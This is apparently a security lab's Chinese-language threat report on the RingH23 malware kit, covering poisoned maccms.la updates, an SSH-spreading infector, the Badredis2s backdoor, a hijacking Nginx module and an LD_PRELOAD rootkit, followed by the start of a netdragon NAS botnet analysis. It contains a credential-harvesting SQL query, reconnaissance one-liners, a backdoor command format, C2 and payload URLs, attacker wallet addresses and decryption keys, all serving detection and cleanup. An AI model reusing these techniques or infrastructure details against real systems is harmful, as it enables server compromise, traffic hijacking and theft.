• active.php 则采用动静结合的双重注入策略：一方面动态地将恶意代码插入到HTML文件的</head>标签之前；另一方面还会静态地修改系统JS模板文件，直接向文件尾部写入恶意代码。

以active.php为例，该恶意载荷在ThinkPHP框架中注册了一个view_filter钩子，使得所有需要渲染的页面在加载时都会自动触发其感染流程，实现了对网站访问流量的全面监控和实时攻击。

为了降低的暴露的风险，它还实现了一个精密的访问条件筛选机制：只有当用户使用手机设备、通过外部链接访问网站前台页面、且为非Ajax请求时才会触发恶意代码，同时通过会话控制确保每个用户最多每10小时只被攻击一次。

当条件满足时，进行对HTML和JS篡改的流程。先看对HTML的修改，它的逻辑核心其实就是用str_replace函数将网页中的$template_marker替换为$template_token.$template_marker。

$template_token和$template_marker 它们使用8进制编码，gzip压缩，没有PHP环境的读者可以使用在线的PHP Sandbox查看它们的内容。template_token是恶意JS代码，相信读者一定会觉得眼熟，它正是前面章节已分析过的JS Loader代码，而template_marker正是</head>标签。

再来看对JS的修改，它的核心逻辑是使用file_put_contents函数对原始JS文件进行覆写，恶意JS代码以及/*system_optimization_signature*/格式的标签将被添加到JS文件尾部，system_optimization_signature是JS文件是否被感染的标识，它是恶意JS代码的MD5值的前12字节，即138ae887806f。

在Google搜索138ae887806f，可以看到不少用户讨论这一感染情况。用户的清理工作往往停留在清除已被感染的JavaScript文件这一表面症状。而更深层的PHP恶意载荷以及，作为持续攻击源的maccms.la官方投毒通道，并未被发现和根除，这导致了网站不断被重新植入恶意代码，陷入“清理-再感染”的循环。

攻击套件RingH23投毒技术细节

0x1: infect_init

infection_init组件的基本信息如下所示，它是一个Golang语言实现的感染器，使用标准UPX加壳。

MD5:65ac2839ab2790b6df8e80022982a2c0
Magic:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped section header size
Packer: UPX

infect_init必须在root权限下运行，至少需要提供session_token，service_url，group三个参数，其中service_url默认值为service.client.110[.]nz。

首先，它会和server_url指定的服务器依次应验token，group是否有效。俩者都使用GET方法，User-Agent为硬编码的Azure。

• token校验请求，使用的uri为/api/session/verify，参数指定的token保存在"X-Session"字段中。

• group校验请求，使用的uri为/api/client_group/"group"，如下图流量中的group为 j6。

token,group通过验证后，遍历/proc目录，查找edge-admin进程。再通过该进程配置文件api_db.yaml中获取数据库的账号和密码，并使用以下sql语句，查询数据库中边缘节点及其登录凭证。

SELECT n.id, n.name, n.clusterId, l.type, l.params
FROM edgeNodes AS n LEFT JOIN edgeNodeLogins AS l
ON n.id=l.nodeId WHERE n.state=1

当成功获得节点的登录凭后，执行Main_SSHExec函数，通过SSH协议登录到边缘节点，下载下一阶段Payload。

Main_SSHExec的核心逻辑就是执行以下脚本，在边缘节点上部署下一阶段 download_init组件，其中DOWNLOAD_URL为 download.zhw[.]sh/EMrsVQj9VQ/init。

0x2: download_init

download_init组件的基本信息如下所示，它是一个Golang语言实现的下载器，使用标准UPX加壳。

MD5:5d6c33bf931699805206b00594de5e71
MAGIC:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
PACKER:UPX

download_init的主要目的是下载下一阶段的恶意载荷：后门木马，Rootkit，Udev持久化规则，以及Nginx模块等。

和infect_init一样，download_init也必须在root权限下运行，除service_token, service_url, group3个参数之外，还必须指定 run mode，例如用 “install” 表示安装，uninstall表示卸载等。

和infect_init不同的是，download_init在group参数通过验证后，会从C2返回的JSON数据中提取hash字段，供后续供register请求使用。

然后download_init尝试从被侵入设备中提醒Nginx服务器的相关信息，包括版本号，以及ngx_compat，ngx_dav，ngx_threads，ngx_real_ip等编译配置参数，并以此构造生成register请求，用于获得下一阶段载荷的下载地址。该请求使用的URI格式为/api/register/{hash}。

C2返回的JSON数据中可以看到各个载荷的下载地址，download_init 从中提取 hash 字段，并以此完成整个感染流程的闭环。具体步骤包括：首先，在 /var/adm 目录下创建以该 hash 命名的文件夹，用于存储下载的恶意载荷；接着，将 udev_rules 文件植入系统规则目录 /etc/udev/rules.d，命名为 99-{hash}.rules，以实现系统重启后的持久化自启动；随后，将kernel.so重命名为libutilkeybd.so，并将其路径写到 /etc/ld.so.preload，通过系统预加载机制来隐藏恶意进程的活动痕迹；最后，启动后门模块 office_bin，维持对受感染设备的持续控制，并重启 Nginx 进程以动态加载 module.so 模块，将特定条件的访问流量劫持至色情或博彩网站，完成所有的载荷部署。

0x3: office_bin

office_bin是一个配置灵法，高度模块化/插件化，使用AES加密网络通信的后门木马。基于样本进行时会输出信息大量使用redis2s，我们将它命名为badredis2s，它由Dropper,Client,Plugin 3大部分组成，因为没有stripped的缘故，在逆向分析上并没有难度，功能一目了然。

先说Dropper，本文选取以下样本做为主要分析对象

MD5: 79c492bfd8a35039249bacc6a31d7122
MAGIC: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped
Packer: None

它的主要目的是加载内嵌的ELF，执行其导出函数kernel_module_entry，参数为config_base64，它指向的加密的配置信息。

再来看Client，上述Dropper释放的文件基本信息如下所示

MD5:ae0de7034c4866556675740f6647bfcc
MAGIC:ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
Packer: None

Client的核心逻辑设计简洁而高效：首先对加密配置进行解密，从中提取C2服务器地址、任务执行时间策略及通信密钥等关键参数。当系统时间符合预设的执行策略时，客户端即尝试与C2服务器建立通信通道，等待接收并执行远程指令。值得注意的是，该恶意软件在C2获取，网络传输方面都采用了两层冗余机制以增强健壮性：

（1）C2 获取机制

• 优先从Microsoft Aure Blob存储服务动态获取最新的C2地址
• 若云端获取失败，则自动回退至内置的硬编码C2地址

（2）网络传输机制

• 首选通过WebSocket over TLS（wss）加密通道进行通信
• 当wss连接因防火墙阻断或网络限制而失败时，切换至DNS隧道技术作为备选传输方案

下文将从配置解密，C2获取，时间校验，网络通信等方面，剖析Client的技术实现。

① 解密配置

配置信息使用了简单的"xor + base64"的保护方式，base64使用原生的字母表，xor 密钥为0x23。

解密后的Config中涵盖C2，时间规则，AES密钥，初始向量等信息。

② C2获取

Config的前250字节为主C2的云端配置地址，接着的278字节为备用C2，主C2需要通过云端配置动态获得，而备用C2则是可以直接使用。

访问主C2的云端配置地址，会看到一个IIS LOGO页面，看似一切正常，其实玄机隐藏在网页源码 RequestID:/#$*SRUNT0pNVltHSlBXUUwNTUZXGRcXEA==*#$/部分，Client通过正则表达式\\s*/#\\$\\*.*?\\*#\\$/提取SRUNT0pNVltHSlBXUUwNTUZXGRcXEA==，它其实是一个加密的C2配置，通过base64解码， 单字节 xor 0x23即可得到C2 j6.linuxdistro.net:443，此处和备用C2是一致的。

③ 时间窗口校验

Client通过 time_for_connect 函数来决定是否允许在当下时间执行。其机制是从配置数据的固定偏移量（小时列表起始于0x210字节，分钟列表起始于0x270字节）读取时间白名单，并与当前系统时间进行匹配。不过，根据解密后的配置显示，该策略当前设置为全天候允许，即小时（0-23）和分钟（0-59）均无限制。

④ 网络通信

Client在通信层面采用 “WSS 优先、DNS Tunnel 兜底” 的双通道策略，并通过精细的时间控制与失败计数机制，在保证 C2 可达性的同时，尽量维持与正常网络流量一致的行为特征。当高隐蔽性的 WSS 通信受阻时，样本会在限定时间内切换至 DNS Tunnel，以维持控制通道的连续性，随后再自动回退至主通信方式。

对通信数据的逆向分析表明，WSS 通道内的应用层数据遵循“压缩 → 加密”的处理流程，具体为 zlib 压缩 + AES-128-CBC 加密。AES 密钥从配置结构偏移 0x360 处读取（16 字节），对应的 IV 位于 0x370 偏移处（16 字节）。

而 DNS Tunnel 的实现基于开源工具 iodine。iodine 是一种隧道工具，通过将 IPv4 数据封装并传输于 DNS 请求与响应中，从而在常规互联网访问被防火墙限制、但仍允许 DNS 查询的网络环境下建立通信通道。与 iodine 相关的运行参数存储于样本配置数据偏移 0x3E5 处，其中可解析出使用的 Name Server 为 8.8.8.8，对应的 Top Domain 为 nsj6.linuxdistro.net。

Client 在接收到来自 C2 的响应数据后，首先对数据进行 AES 解密，随后执行 zlib 解压，最终将解析后的明文数据传递至 kernel_on_message 函数，并根据不同的指令号执行相应的功能逻辑。

接下来以虚拟机产生的实际流量来说明Client网络通信的报文格式，wss的流量经中间人劫持后如下所示：

先看C2向Client下发的第一条指令，使用AES CBC解密，再解压，即可得到明文01 01 00 00 00 00 04 00 00 00 01 00 00 00。Client的网络报文遵循 “1字节 flag + 4字节 cmd count + 1字节 type +4 字节的 cmd1 length + 4 字节 cmd1” 这一格式，明文指令解析可知，这是0x00000001指令，即要求上报设备信息。对解密流程感兴趣的读者，可以参考附录中的CyberChef。

#AES KEY: 2B990667D0E087AE
#AES IV:  27FAD11C481BD789

# CipherText

00000000  0e 1d 85 54 28 12 fb f2 9a 3c dd 02 6c 83 ed f9  |...T(.ûò.<Ý.l.íù|
00000010  87 3d 0d 46 1c 94 9d 46 26 55 5c 2a 9a 72 1c aa  |.=.F...F&U\*.r.ª|

#PlainText

00000000  01 01 00 00 00 00 04 00 00 00 01 00 00 00        |..............|
flag:1
cmd count: 1
type: 0
cmd1 length:4
cmd1: 0x00000001

读者如果尝试用我们提供的CyberChef去解密C2下发的第二条指令，会发现解密失败。原因是不同于一般的AES CBC模式，Badredis2s使用是所谓的AES-CBC with chained IV，即每条消息的IV是前一条消息的最后一个密文块。因此要想解密第二条指令，IV需要设置为第一指令的最后16字节 87 3d 0d 46 1c 94 9d 46 26 55 5c 2a 9a 72 1c aa。

最后看一下Plugin，Badredis2s中0x12指令和插件操作相关。我们在指令跟踪系统中实现了Badredis2s的网络协议后，成功跟踪到0x12号指令，捕获shell, filemanager俩个插件。每个插件都有自己专属的Request-URI：shell使用的是/index/sl.html；filemanager使用的是/index/fm.html。

在分析filemanager插件时，又发现了以下3个新插件。稍加观察，不难发现插件名与路径存在一定的关联，我们尝试对路径进行爆破，确实发现了一个新的URI /index/ao.html，可惜没能反推出它代表的插件名，未能捕获该插件。

关于插件的功能，其名称本身便已体现核心用途：例如 shell 用于执行 Shell 命令，filemanager 负责文件管理。这种插件体系显著增强了 Badredis2s 的灵活性，攻击者只需下发不同功能的插件，即可轻松实现各类复杂任务。由于这些插件均未经过代码混淆或去符号处理，分析起来并无太大难度，对实现细节感兴趣的读者可自行深入研究，本文不再展开论述。

0x4: module.so

module.so是一个恶意的Nginx过滤模块，我们将它命名为Badnginx2s，它的基本信息如下所示：

MD5: 563f5e605ebf1db8065fd41799e71bf9
MAGIC: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
Packer: None

Badnginx2s是一种较为罕见的针对Nginx后门木马，其本质是一个Nginx模块，它通过在Web服务器层面植入恶意过滤器，对流出流量进行深度篡改与攻击，主要功能包括：

1. 远程命令执行：后门预留了隐蔽的命令通道，允许远程命令执行
2. 下载劫持：当用户从受感染网站下载特定类型的文件时，木马会暗中替换下载链接
3. 代码注入：向网页注入恶意JavaScript代码，将访问用户重定向至博彩、色情等不良网站，非法获取流量或实施进一步诈骗。
4. 视频插播：向M3U8播放列表文件插入时长为5秒的恶意媒体片段条目，用于流媒体内容劫持或广告注入
5. 数字资产窃取：攻击者以将自己的收款地址替换网页中的数字货币钱包地址，从而在用户转账时直接截留资金，构成隐蔽的金融盗窃。

Badnginx2s通过注册俩个HTTP过滤器函数：ngx_http_hello_header_filter，ngx_http_hello_body_filter实现上述功能。其中header_filter负责处理 HTTP 响应头阶段，主要完成远程命令执行、策略更新、下载劫持、以及标记需要注入恶意代码的特定网页等核心控制任务；body_filter负责处理 HTTP 响应体阶段，主要用于向页面注入恶意 JavaScript 代码，以及实现钱包地址篡改等客户端侧攻击行为。这种设计使得 Badnginx2s 能够在响应生成的不同阶段灵活执行隐蔽且精准的恶意操作，既能实现服务器端的远程控制，又能完成客户端侧的窃取与欺诈。

① 远程命令执行

攻击者将远程命令隐藏在HTTP请求头的Cookie字段中，以此实现隐蔽通信。其中，comm字段存储加密后的命令，其原始格式为“时间戳$$指令”，例如1768813387$$whoami，该内容先经过密钥0x5A的XOR异或加密，再经Base64编码后传输；sign字段则存储base64编码后的基于P-256椭圆曲线生成的数字签名，Badnginx2s通过公钥校验签名的有效性，确保指令的完整性与来源可信。这种机制使攻击者能够在看似正常的HTTP请求中隐蔽执行远程命令。

② 策略操纵

Badnginx2s 在运行时动态生成劫持配置，包含重定向域名、恶意 JS 载荷地址、白名单网段等策略。为实现对配置的远程实时调控，攻击者通过 Cookie 建立隐蔽管理通道：配置操作指令经加密后存放在 conf 字段，其加密方式与上文 comm 字段相同（XOR+Base64）；数字签名则存放于 sign 字段，仍采用 P-256 椭圆曲线算法进行校验。通过该机制，攻击者可远程隐蔽执行配置的查询和更新，从而灵活实施精准攻击。

以查询当前配置为例，原始命令为get$$，它经上述加密流程处理后，构成Cookie中的conf字段；服务器收到这个请求后，当sign字段中的签名通过校验，就返回当前的配置。攻击者可通过这种方式动态的调整重定向域名，恶意JS载荷地址等内容。

③ 下载劫持

当网络请求 APK、PLIST 或 MOBILECONFIG 这三种特定资源时，Badnginx2s 会实施下载劫持。它通过 https://%s.aqyaqua.com 这一格式动态构造域名，并返回对应的恶意载荷。

值得注意的是，aqyaqua.com 本身仅作为一个流量入口，会将不同资源类型的请求转发至不同的目标地址。目前，只有针对 APK 的载荷处于有效状态。

④ 页面篡改

Badnginx2s通过ngx_http_hello_body_filter函数实现在网页的篡改，涵盖了数字钱包替换，视频插播，恶意JS注入。

• 数字钱包替换

当网页内容中出现以太坊或波场钱包地址时，将其替换为指定的攻击者地址：例如，将以太坊地址替换为 0xAA3Bd92445a2E1fE38C7693d77259BeD42a144c3，或将波场地址替换为 TCMCY9ccNmQGfUNHTNtCByCof3VdQnip2b。如此一来就在用户完全无感知的情况下实现了对交易的窃取，用户以为的正常转账，却在“神不知鬼不觉”中流入了攻击者的口袋。

• 视频插播

当网页和HLS直播流相关时，攻击者可篡改M3U8播放列表文件，插入自定义视频流。我们目前已捕获到一次此类攻击行为，攻击者插入了一个时长5秒、名为广告_1.ts的视频流片段。该攻击表面看似仅为广告插播，但其潜在危害远不止于此——攻击者可轻易将插入内容替换为色情、暴力等不良信息，甚至利用目前高度逼真的AI生成技术，伪造政治宣传、虚假新闻或引导性极强的深度伪造视频。这类攻击不仅破坏用户体验，更可能被用于意识形态渗透、社会舆论操纵与公共秩序干扰，属于具备高扩散性、强误导性与社会危害性的新型网络攻击载体。

• 恶意JS注入

当网页为html类型时，按优先级顺序搜索<head>，</title>，<html>，<meta，<script等标签，选择第一个匹配的位置注入恶意JavaScript代码。恶意js代码有一个固定的模板，想必读者已经非常熟悉了，它和一个Base64字串拼接后，正是前文分析过的JS LOADER。样本中硬编码的Base64字串为aHR0cHM6Ly9jZG5qcy5qc2RjbGl2ci5jb20vbnBtL2Jvb3RzdHJhcEA1LjMuMC9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcz92PTMuNy44LjI=，解码后对应URL为https://cdnjs[.]jsdclivr[.]com/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css?v=3.7.8.2。

0x5: libutilkeybd.so

libutilkeybd.so是一个基于LD_PRELOAD技术的用户态Rootkit，我们将它命名为Badhide2s，它的基本信息如下所示：

MD5: 85cdf5139f0a0a0f7e378bc2029d662b
MAGIC: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
Packer: None

Badhide2s的核心目标分为两方面：载荷痕迹隐匿与Nginx模块动态植入。

• 隐匿维度：通过写入/etc/ld.so.preload使自身被加载，实现对ss、netstat、top、htop、ps、ls、lsof等常用工具的过滤，覆盖文件、进程、网络三大维度的痕迹隐藏。此类用户态Rootkit手法在Linux恶意软件中较为常见，Badhide2s并未实现显著的技术创新，但其隐匿的IP地址数量达25个，规模相对较大。

• 模块植入：通过Hook __libc_start_main——GNU C库的程序入口函数——在进程启动阶段进行检测。当识别到目标进程为Nginx时，动态篡改其启动参数，追加 -g load_module /var/adm/{hash}nginx/module.so ，从而实现恶意模块的隐蔽加载。

值得注意的是，Badhide2s 内置了一个环境变量触发开关机制：当检测到系统中存在环境变量 RING04，且其值为特定哈希串时，该恶意软件的所有隐藏功能将自动关闭。这实际上为应急响应提供了一个快速排查入口，防御方在获取哈希值后，只需执行：export RING04H={hash}即可一键解除所有隐匿，使被隐藏的恶意进程、文件及网络连接完全“显形”。

0x6: udev rule & script

利用udev规则实现持久化，在Linux 威胁中并不常见，目前公开的案例只有俩个：sedexp以及UNC3886。所谓 udev ，指的是 Linux 内核的设备管理系统，负责动态管理 /dev 目录下的设备节点文件，包括创建设备节点、处理热插拔事件以及按需加载驱动程序。udev 规则是其配置文件，用于匹配设备事件（如接入或移除设备）并触发相应操作，它们通常位于 /etc/udev/rules.d/ 或 /lib/udev/rules.d/ 目录下，典型的规则如下所示，由设备匹配条件和对应的执行动作组成。

ACTION=="add", KERNEL=="device", RUN+="/path/to/script"

此次活动会在/etc/udev/ruldes.d目录下增加一个99-{hash}.rules的规则，当任意非本地回环的网络接口（包括物理网卡、虚拟接口）被系统识别时（add 事件），该规则会立即被触发，通过 systemd-run 启动一个受控的临时服务，隐蔽执行指定的脚本/var/adm/{hash}/udev/udev.sh 。

udev.sh脚本就是没有什么特别之处，只是用来启动前文分析过的Badredis2s后门（ring04h_office_bin），以及一个未知的组件（ring04h_agent_bin）。

额外的情报

在download_init中，有一个main_pre的函数，用于清除的痕迹，从函数逻辑来看，这些痕迹与RingH23强相关。在清理目标的数组中包含17个不同的字串，令人惊奇的是其中一些字串，如libcext.so.2，/var/log/cross/auto-colar等明显和Palo Alto Networks 于2025年2月24日披露的autocolor后门相关。

此外，我们发现 /var/log/jroqq 是一个非常独特的字符串，并以此为线索，找到了一个用 Golang 语言实现的后门文件 auto-color。该后门通过文件锁 /var/log/jroqq/auto.l 实现单一实例运行，但后门本身并未包含创建该文件的代码，说明它需要与其他组件协同工作，我们内部将其命名为 V2deck。它的主要功能是执行C2下发的命令并回传结果。样本中一共内嵌了10个C2，使用 XOR + BASE64的方式进行保护，xor key为 poop。

目前跟踪到的指令显示V2deck在收集Nginx,FikkerCDN等进程的信息，和RingH23的目标接近。

ps -ef | grep Fikker | grep -v grep | wc -l

ss -antp | grep nginx |grep ESTAB | awk {'print $5'} | awk -F\: {'print $1'} | sort | uniq | wc -l

尽管目前仅以中等信心将 v2deck 与 RingH23 关联起来，但考虑到该后门样本及其 C2 域名目前的检测率极低，我们决定将相关情报与本文一并发布。

总结

这是目前掌握的Funnull黑产新活动的大部分情报。我们建议网络管理员与个人网站所有者立即开展自查工作，并参照以下指引进行处置。

① 针对RingH23

使用ldd命令检查系统命令的依赖加载情况，重点检测是否存在恶意模块/var/adm/{uuid}/kernel/libutilkeybd.so。若发现该模块，则设置环境变量RING04H={uuid} 以禁用rootkit的保护功能，随后按以下路径清理恶意文件：

• /etc/ld.preload.conf中与{uuid}有关的部分

• /etc/udev/99-{uuid}.rules

• /var/adm/{uuid}目录下所有文件

② 针对maccms.la

不建议继续使用maccms.la。如果无法迁移，可使用“grep xxSJRox”查看模板js是否已被注入，“grep gzuncompress”查看php中是否可疑的隐藏载荷，并对以下文件进行处理

• 删除/application/extra/active.php
• 删除/application/admin/controller/Update.php
• 修改/application/admin/view_new/index/index.html中ajax升级部分的域名

这类黑产活动在利益驱使下往往“野火烧不尽，春风吹又生”，具有较强的顽固性，必须依靠全行业的协同合作才能有效遏制。我们诚邀安全厂商及相关技术机构与我们建立联系，推动情报共享与联动处置，共同打击网络犯罪，维护网络安全生态。如果您对我们的研究感兴趣，或者了解内幕消息，欢迎通过X平台与我们联系。

IOC

Badredis2s C2

ntp[.]asia
ntporg[.]com
sbindns[.]com
plusedns[.]com
mirrors163[.]com
linuxdistro[.]net
debianhacks[.]net
fedoraforums[.]net
ubuntucommands[.]com

Badredis2s C2 Config URL

https://3snzh72om4.apifox[.]cn
https://node.blob.core.windows[.]net/update/a1
https://node.blob.core.windows[.]net/update/a2
https://node.blob.core.windows[.]net/update/s7
https://node.blob.core.windows[.]net/update/s10
https://node.blob.core.windows[.]net/update/s11
https://node.blob.core.windows[.]net/update/s14
https://node.blob.core.windows[.]net/update/h2.debianhacks.net/online
https://node.blob.core.windows[.]net/update/j6.linuxdistro.net/online

https://az-blob.110[.]nz/update/s1
https://az-blob.110[.]nz/update/s2
https://az-blob.110[.]nz/update/s3
https://az-blob.110[.]nz/update/s4
https://az-blob.110[.]nz/update/s7
https://az-blob.110[.]nz/update/s9

Badnginx2s Related

gadlkd1[.]com

apk.aqyaqua[.]com
plist.aqyaqua.]com
mobileconfig.aqyaqua[.]com

https://dowoxox.gfewr[.]com/B9.apk
https://plist.ztyfv[.]com/d/4F48MCiqtsjDCS7QOWs3KU.plist
https://download.joymeet[.]top/app/2PG/00056321.mobileconfig

V2deck C2

bobolickp92[.]cc
realfake909[.]net
firelategg[.]net
lucycally[.]me
moxymodiy[.]cc
9688hopeeasy[.]cc
flysky55[.]me
goyppg06[.]com
tutupytua[.]com
zybbzlast[.]com

IPs & Domains in Badhide2s

54.46.13.139
8.139.6.156
18.167.103.220
18.163.102.174
16.163.50.192
43.199.147.209
13.251.54.69
43.199.133.158
18.166.58.136
16.162.25.97
52.221.206.136
43.198.221.151
43.198.137.198
43.198.73.3
16.163.58.55
20.6.129.16
20.205.25.192
35.75.5.45
52.195.191.106
52.195.7.27
52.196.178.89
52.194.222.58
13.231.108.219
13.114.119.159
3.112.67.113
54.46.1.220

js.mirrors163[.]com
cn.js.mirrors163[.]com
update.ntporg[.]com
js.ntp[.]asia
js.ntporg[.]com
s10.ntporg[.]com
s11.ntporg[.]com
client.110[.]nz
js2.ntporg[.]com
a.plusedns[.]com
b.plusedns[.]com
js.sbindns[.]com

JS HOST

jquecy[.]com
jsdclivr[.]com
jsdelivr[.]vip
bytedauce[.]com
bdustatic[.]com
clondflare[.]com
macoms[.]la
ailyunoss[.]com
ailyun-oss[.]com

JS PAYLOAD URL

https:]//code.jquecy[.]com/jquery.min-3.6.8.js
https://cdnjs.clondflare[.]com/jquery.min-3.7.8.1.js

https:]//cdnjs.jsdclivr[.]com/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css?v=3.7.8.2
https:]//static.bytedauce[.]com/ajax/libs/bootstrap/5.3.3/css/bootstrap-grid.min.css

https:]//union.macoms[.]la/jquery.min-4.0.2.js
https:]//cdn.jsdelivr[.]vip/jquery.min-3.7.0.js
https:]//api.bdustatic[.]com/jquery.min-4.0.12.js

Downloader URL

https://az-blob.110[.]nz/update/init
http://download.zhw[.]sh/wK4QYDIRFV/init
http://download.zhw[.]sh/9aE5EFdJoS/init

https://bucket.service.generate.110[.]nz/udev.sh

https://bucket.service.generate.110[.]nz/2025-12-19/7d1d49a8d8c1fa7b4b743ed551fa338c112268e1/module.so

https://bucket.service.generate.110[.]nz/2025-12-19/7d1d49a8d8c1fa7b4b743ed551fa338c112268e1/udev.rules

https://bucket.service.generate.110[.]nz/2025-12-19/7d1d49a8d8c1fa7b4b743ed551fa338c112268e1/kernel.so

VIDEO AD URL

https://oss2025-6f57.obs.ap-southeast-1.myhuaweicloud[.]com/%E5%B9%BF%E5%91%8A_1.ts

Sample MD5

663706d4f3948417d05c11bbfa6cdbc9 *init
65ac2839ab2790b6df8e80022982a2c0 *init
5d6c33bf931699805206b00594de5e71 *init

85cdf5139f0a0a0f7e378bc2029d662b *kernel.so
3bff298be46f8817862bce2ac0be3176 *kernel.so
6acb8bbcad3b8403f4567412cc6aa144 *kernel.so
946606977dd177347122867750244ae2 *kernel.so
92c630062f0fe207c628b95fade34b96 *kernel.so
563f5e605ebf1db8065fd41799e71bf9 *module.so
112e2eb2a57129ef175c3f64bccbac04 *module.so
cd36ec10f71b89dc259eb8825e668ae3 *module.so
6e14853a6ad5e752a516290bf586d700 *udev.rule
b5dfe88131fb1b3622a487df96be84e1 *udev.sh
79c492bfd8a35039249bacc6a31d7122 *ring04h_office_bin
2e7a42c9be6fc3840df867cb19c7afa5 *ring04h_office_bin
a688afd342cee9feb74c61503fb0b895 *ring04h_office_bin
85f3d29a8fd59e00fec83743664fb2b5 *ring04h_office_bin
fef497841554fff318b740dff7df3a49 *ring04h_office_bin
dfd1fbf0a98e0984da9516311ccc1f05 *ring04h_office_bin
da594309691161f6e999984c26e1a10f *ring04h_office_bin
18b699375c76328b433145bdac02ec49 *ring04h_office_bin
d3b0b6496747ee77ab15e5f5d9583a67 *ring04h_office_bin

b5a5d93cfc443ecbd3b52cfe485b738c *shell.plugin
296318b90bc9d01ab045da042b0ecb21 *filesearch.plugin
b8239ce64c07e39ae7bed9ae8f5f3d2f *filemanager.plugin
51830656b0825b22703e4fcf31aec84c *filetransport.plugin
22f0d58bc482d413a5cc8922c7f79378 *filedownloader.plugin

b06b9f13505eb49d6b3f4bddd64b12ce *active.php
eb03db7ac9f10af66a1e2b16185fcadc *addons.php

Cyberchef

https://gchq.github.io/CyberChef/#recipe=From_Hexdump()AES_Decrypt(%7B'option':'Latin1','string':'2B990667D0E087AE'%7D,%7B'option':'Latin1','string':'27FAD11C481BD789'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)Drop_bytes(0,4,false)Zlib_Inflate(0,0,'Adaptive',false,false)To_Hexdump(16,false,false,false)&input=MDAwMDAwMDAgIDBlIDFkIDg1IDU0IDI4IDEyIGZiIGYyICA5YSAzYyBkZCAwMiA2YyA4MyBlZCBmOSAgIC4uLlQoLi4uIC48Li5sLi4uDQowMDAwMDAxMCAgODcgM2QgMGQgNDYgMWMgOTQgOWQgNDYgIDI2IDU1IDVjIDJhIDlhIDcyIDFjIGFhICAgLj0uRi4uLkYgJlVcKi5yLi4&ieol=CRLF

近期，飞牛（fnOS）网络附加存储设备（NAS）曝出大规模遭入侵并感染恶意软件的安全事件。攻击者疑似利用飞牛 NAS 系统中尚未公开的安全漏洞，在设备对外暴露相关服务的情况下成功植入恶意程序。通过对已捕获并分析的恶意样本进行研判，我们确认其隶属于 netdragon 恶意软件家族。该家族最早于 2024 年 10 月被我们发现并持续跟踪至今，其核心能力包括 DDoS 攻击与远程命令执行，可将被感染的 NAS 设备纳入僵尸网络，参与大规模分布式拒绝服务攻击活动。

值得注意的是，Netdragon 在其入侵行为逐步暴露后，持续对样本的对抗能力进行升级，通过多层手段削弱防御与清除效果。在网络层面，样本会主动删除系统中用于阻断 C2 通信的 iptables / nft规则，绕过既有封堵措施；同时篡改 hosts 文件，对飞牛 NAS 官方升级域名进行劫持，从而阻断设备获取系统更新和安全补丁。

在持久化方面，Netdragon 同时引入 systemd 服务与内核模块，构建用户态与内核态的双重持久化机制，显著提升样本在设备上的存活能力；而在代码层面，则通过动态密钥加壳等方式增加逆向分析与签名检测的难度。上述多种对抗手段协同作用，使受感染设备难以被彻底清除，显著抬高了防御、溯源与应急响应成本。

受这些对抗行为影响，部分受害设备的系统升级机制被直接破坏，表现为无法正常完成系统升级或安装官方安全补丁)。该问题进一步导致设备长期处于受感染状态，安全风险被持续放大。

受限于当前可获取的数据，我们尚无法完整还原飞牛 NAS 被入侵的具体攻击路径及漏洞细节，相关内容暂不展开讨论。本文将重点围绕恶意样本行为分析、感染规模评估以及 DDoS 攻击活动特征等方面，分享我们阶段性的研究结论。

感染情况分析

经过对样本功能的深入分析，我们确认netdragon会在受害设备上开启一个 http 后门接口，攻击者可通过该接口对被感染设备实施远程访问与控制。

基于该后门的通信特征，并结合 XLAB 全球鹰资产测绘能力 进行排查，我们共发现 1000 余个存在感染迹象的 IP 地址。分析结果表明，这些 IP 均对应 飞牛设备，目前尚未发现其他类型设备受到影响。

此外，从 XLAB 伴随域名数据 中也可以进一步佐证上述结论。如下图所示，xd.killaurasleep[.]top 为 netdragon 下载样本所使用的域名，该域名在被动 DNS 记录中与多个飞牛相关域名存在明显的伴随关系，表明被感染设备可能主要集中于飞牛生态。

感染规模方面，结合XLAB全球鹰资产测绘和我们掌握的C2控制端数据看。netdragon僵尸网络1月底感染的设备可能在1500台左右。

DDoS攻击分析

我们自 2024 年 10 月起持续监控与 netdragon 相关的 DDoS 攻击活动。分析显示，netdragon 主要通过 Telegram Bot、HTTP API 等渠道接收攻击指令，并据此发起分布式拒绝服务（DDoS）攻击。

监控结果表明，netdragon 的攻击行为不具备明显的定向性，攻击目标分布范围较广，主要涉及中国、美国、新加坡、澳大利亚等地区。受影响对象涵盖信息传输、软件与信息技术服务、制造业，以及公共管理、社会保障和社会组织等多个行业领域。

另外我们还观察到2月1日夜晚僵尸网络作者向所有BOT发出了一条删除文件指令、删除飞牛NAS设备上的一个私钥文件rsa_private_key.pem。我们不确定删除这个文件的目的是什么，但是删除私钥文件这种操作看着就很危险。

样本分析

通过我们跟踪系统长期监测，已捕获到该恶意家族的多个变种样本。综合分析发现，该家族样本整体采用模块化设计，主要由 Loader 组件 和 DDoS 组件 两个核心部分构成。其中，Loader 组件负责在受害设备上完成初始加载、环境探测及后续功能模块的投递，而 DDoS 组件则用于执行具体的攻击指令。最新样本在运行过程中展现出多项与 fnOS 环境高度相关的行为特征，包括对系统结构、服务配置及运行环境的针对性适配，表明该恶意家族最新的样本并非泛化传播，而是对 fnOS 设备具有明确的定向攻击意图。

Loader组件

该组件主要完成痕迹清理、持久化、阻断更新/恢复的功能

隐藏攻击痕迹

清空日志相关文件目录，隐藏攻击痕迹，目录及文件如下：

/var/log/accountsrv/
/var/log/apps/
/var/log/apt/
/var/log/cloud_storage_dav/
/var/log/openvswitch/
/var/log/postgresql/
/var/log/trim_app_center/
/var/log/trim_license/
/var/log/trim_sac/
/var/log/trim_tfa/
/var/log/trim-connect/
/var/log/trim-sharelink/
/var/log/*.log
/usr/trim/logs/ai_manager/
/usr/trim/logs/*.log
/usr/trim/nginx/logs/
/var/log/secure
/var/log/secure.1
/var/log/secure-*
